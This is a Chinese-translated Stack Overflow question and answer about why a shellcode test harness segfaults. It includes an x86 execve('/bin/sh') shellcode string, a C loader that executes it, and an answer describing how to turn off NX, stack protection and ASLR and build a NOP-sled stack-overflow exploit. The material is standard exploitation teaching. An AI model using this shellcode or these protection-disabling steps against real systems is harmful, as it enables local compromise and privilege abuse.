我尝试通过 C 程序运行大量 shell 代码来测试它们。在这里
#include<stdio.h>
#include<string.h>
unsigned char code[] = "shell here";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
这里是 shellcode 的例子
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42"
(\bin\cat\etc\shadow) 运行后
gcc sctest.c -o 输出
./out
它只是给了我 shellcode 长度和 Segmentation Fault 我已经尝试了很多不同的 shellcode,但一切都给我段错误 我的 dmesg |尾部-1 [18440.783383] 测试 [8768]:8049700 ip 08049700 sp bffff2ec 测试中出现段错误 15 [8049000+1000] 我的 shellcode 有什么问题?
最佳答案
在禁用 NX-bit 和其他类似 randomize_va_space 的东西后,我终于做到了。
首先,您应该使用 key -z execstack 和 -fno-stack-protector 编译您的可执行文件。
之后禁用 ASLR echo 0 >/proc/sys/kernel/randomize_va_space。 现在你必须找到 shellcode。你可以试试 mspayload 或 msfvenom。 Shellcode 是通常为您提供 shell 的字节码。
在该步骤中,您应该找到堆栈溢出的偏移量。您可以尝试查找类似
的行sub hex-offset, %esp
或者你可以尝试使用像 ./your_binary < python -c "print('A')*n") 这样的简单脚本来暴力破解它,其中 n 是你的偏移量
找到偏移量后(SEGFAULT 发生并且 dmesg | tail -1 说 %eip 是 0x41414141)你只需要编写你的 exploit。它的结构看起来像这样
NOPs(no operation)*x+shellcode+return-address(4 bytes)*y
len(shellcode)+x+4y=你的偏移量 其中return address是你的NOP所在栈中的地址(输入前在gdb info r中看到的%esp的地址)
并且不要忘记在 gdb 中有效的漏洞利用在没有 gdb 的情况下将无法正常工作,因为您需要从返回地址中添加/减去 36 个字节。
终于准备好利用了
./your_binary < exploit.bin
关于c - Shellcode 未运行,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/35268982/